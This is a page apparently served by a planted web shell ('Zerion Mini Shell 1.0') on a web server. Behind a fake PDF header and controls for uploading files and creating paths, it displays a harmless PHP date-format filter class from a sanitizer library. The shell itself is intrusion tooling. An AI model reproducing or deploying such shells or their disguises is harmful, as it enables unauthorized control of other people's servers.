%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/kpk/api/vendor/arcanedev/sanitizer/src/Filters/
Upload File :
Create Path :
Current File : /var/www/html/kpk/api/vendor/arcanedev/sanitizer/src/Filters/FormatDateFilter.php

<?php namespace Arcanedev\Sanitizer\Filters;

use Arcanedev\Sanitizer\Contracts\Filterable;
use DateTime;
use InvalidArgumentException;

/**
 * Class     FormatDateFilter
 *
 * @package  Arcanedev\Sanitizer\Filters
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
class FormatDateFilter implements Filterable
{
    /* ------------------------------------------------------------------------------------------------
     |  Main Functions
     | ------------------------------------------------------------------------------------------------
     */
    /**
     * Format date of the given string.
     *
     * @param  mixed  $value
     * @param  array  $options
     *
     * @return string|mixed
     */
    public function filter($value, array $options = [])
    {
        if ( ! is_string($value) || empty(trim($value)))
            return $value;

        $this->checkOptions($options);

        list($currentFormat, $targetFormat) = array_map('trim', $options);

        return DateTime::createFromFormat($currentFormat, $value)->format($targetFormat);
    }

    /* ------------------------------------------------------------------------------------------------
     |  Other Functions
     | ------------------------------------------------------------------------------------------------
     */
    /**
     * Check Options.
     *
     * @param  array  $options
     *
     * @throws \InvalidArgumentException
     */
    private function checkOptions(array $options)
    {
        if (count($options) != 2) {
            throw new InvalidArgumentException(
                'The Sanitizer Format Date filter requires both the current date format as well as the target format.'
            );
        }
    }
}

Zerion Mini Shell 1.0